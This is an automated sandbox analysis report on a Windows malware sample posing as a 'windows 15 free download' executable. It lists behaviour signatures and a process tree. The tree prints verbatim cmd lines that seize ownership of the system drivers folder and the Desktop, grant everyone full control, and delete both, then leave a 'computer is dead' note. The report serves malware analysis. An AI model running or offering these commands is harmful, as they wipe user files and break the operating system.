Overview

overview

8

Static

static

3

windows 15...d!.exe

windows7-x64

8

windows 15...d!.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/08/2024, 12:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    windows 15 free download!.exe
  • Size 1.2MB
  • Sample240803-ppkf5axgra
  • SHA256 8607b04823073e78629e458777cd17a048fe9d1e606b9fa4225b02164a2fa144
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
discoveryexploit

Malware Config

Signatures

  • Drops file in Drivers directory 64 IoCs
  • Possible privilege escalation attempt 4 IoCs
    exploit
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe
    "C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3752
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && rd/s/q c:\windows\system32\drivers && exit
      2⤵
      • Drops file in Drivers directory
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\system32\takeown.exe
        takeown /f c:\windows\system32\drivers\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3988
      • C:\Windows\system32\icacls.exe
        icacls c:\windows\system32\drivers\* /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2576
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move "C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe" "%temp%\sys.exe" && exit
      2⤵
      • Suspicious behavior: RenamesItself
      PID:4816
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f "C:\Users\Admin\Desktop"\* && icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F) && del/s/q "C:\Users\Admin\Desktop"\* && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3152
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Users\Admin\Desktop"\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4320
      • C:\Windows\system32\icacls.exe
        icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2504
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo YOUR COMPUTER IS NOW DEAD, YOU CANNOT GET IT BACK ANYMORE > C:\Users\Admin\Desktop\COMPUTERISDEAD.txt.txt && exit
      2⤵
        PID:2840

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/3752-0-0x00007FF6622B0000-0x00007FF662465000-memory.dmp
          Download

          memory/3752-1-0x00007FF6622B0000-0x00007FF662465000-memory.dmp
          Download

          memory/3752-3-0x00007FF6622B0000-0x00007FF662465000-memory.dmp
          Download